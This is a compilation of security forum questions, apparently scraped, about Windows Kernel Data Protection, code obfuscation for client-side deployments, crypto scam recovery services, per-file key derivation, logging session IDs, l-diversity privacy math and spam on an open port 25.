Kernel Data Protection (KDP) is a new technology that prevents data corruption attacks by protecting parts of the Windows kernel and drivers through virtualization-based security (VBS). KDP is a set of APIs that provide the ability to mark some kernel memory as read-only, preventing attackers from ever modifying protected memory. For example, we’ve seen attackers use signed but vulnerable drivers to attack policy data structures and install a malicious, unsigned driver. KDP mitigates such attacks by ensuring that policy data structures cannot be tampered with.
This makes it sound like KDP is designed to prevent an attacker with an arbitrary write vulnerability (but not arbitrary code execution) from modifying the kernel in such a way that they could then gain arbitrary code execution through loading a new driver. But if an attacker already has arbitrary writes, aren't there so many more data structures an attacker could overwrite that are not protected to gain code execution? Even if it's not only driver policy data structures that are protected (is it also all of the kernel's text and rodata sections in addition to specially-chosen data structures like driver policies?), this seems completely inadequate against an attacker with an arbitrary write primitive.
The reason I ask this is because KDP appears to me to be an attempt to work around the fact that vulnerable kernel code (typically vulnerable driver code) runs in the same address space and at the same privilege level as the rest of the kernel. That seems like a losing battle.
Whenever I use the term KDP here, I'm referring to static KDP. I'm aware that dynamic KDP allows the kernel to allocate memory that can only be written once before being marked as executable, to provide hardware-enforced W^X.
|
How can we secure a source code which is deployed at client side cloud and is difficult to reverse engineer just like a licensed product The major difference is that I have a service to protect and do not have exe or dmg file.
I want to obfuscate the code deployed at the client side which was an internal API service till now but will be white-labelled and deployed away from my access. The usual methods to obfuscate isn't the ones feasible to opt for an always evolving code. The deployment needs to be scalable, updatable which is why container tech is preferred. However, container security is not my forte and I have read from different blogs that it involves user access management only which cannot 100% guarantee security.
|
I have an acquaintance that has lost USD 10k - 20k in a Cryptocurrency Investment scam. I strongly suspect he is about to get involved in what in my mind would be a "Crypto Currency Scam Recovery Scam" - which I posit to be a thing.
Although weary, he is now talking about engaging the services of companies that claim they can recover money from cryptocurrency scammers. I've not come across these businesses before, but I'm scratching my head as to what they can really do other then chase a credit card company (which won't help, he didn't pay by credit card). These companies talk a good game, but are very, very light on details as to what they actually do, but https://www.firstoptionrecovery.com/funds-recovery for example claims a success rate of 92%
Has anyone got any knowledge of these types of services, and, short of resources of a 3 letter agency or equivalnet, is there actually a path to recoverying money back (where the funds were not paid via Credit Card and its been longer then a week since the funds were deposited?
|
I was thinking of implementing the following scheme for encryption of many independent files:
From the password, which is given by the user, generate a master key using for example HMAC-SHA.
From this master key, a subkey is derived for each file. Combined with a random and unique token which is stored alongside the file, HKDF-expand might be used for this where the info is the random token.
Each file is combined with a random IV and is encrypted using AES using the derived subkey.
My idea behind this is that even if an attacker were to break the encryption (i.e. somehow found the key) for a single file, all other files would still be secure because they were all encrypted using a different subkey. Does this make sense or is it easier to "reverse-engineer" the master key from a subkey if one is found?
(As as side-question, is it ok to use such a random token for HKDF-expand? Does it provide better security than a non pseudo random string such as the file name or an increasing counter?)
|
Short version: Is it not recommended to store sessionId in log files/database in plaintext (considering it may put active sessions at risk)? If yes, why do I see many queries on how to log sessionId?
Details:
I have come across multiple resources related to security engineering which discuss why we should not log the sessionId in to application log files or store it in DB in plaintext format. For example, this is one of them - https://www.stigviewer.com/stig/application_security_and_development/2017-12-18/finding/V-69363. It recommends some kind of use of some hashed values to identify unique sessions.
However, while I was working with Spring Security library (one of the most prominent one in Java platform), I could find the session Id in plaintext was available in the logs in DEBUG mode. This value was the exact JSESSIONID that I received in Set-Cookie header of the response.
In addition, I could also find several queries and resolutions related to logging the session Id in apache, logging frameworks etc. in the internet.
Looking at these, I am now confused if it really not a good practice to log the session Id. Could somebody please provide some more clarity.
|
The paper "L-diversity: privacy beyond k-anonymity" (DOI: 10.1109/ICDE.2006.1) introduces the concept of bayes-optimal privacy and the idea of prior and posterior belief.
A formula for calculating the posterior belief is given:
]
The paper states:
let be the conditional probability of the sensitive
attribute conditioned on the fact that the nonsensitive attribute Q
can be generalized to
How can I calculate the example below?
Given the table in figure 1 (T) and the generalized version in figure 2 (T*), what is the result for e.g. ?
How can I calculate the values for the conditional probabilities f(s|q), f(s|q*)?
|
Port 25 is open and I'm getting thousands of emails. How can I make it stop?
|
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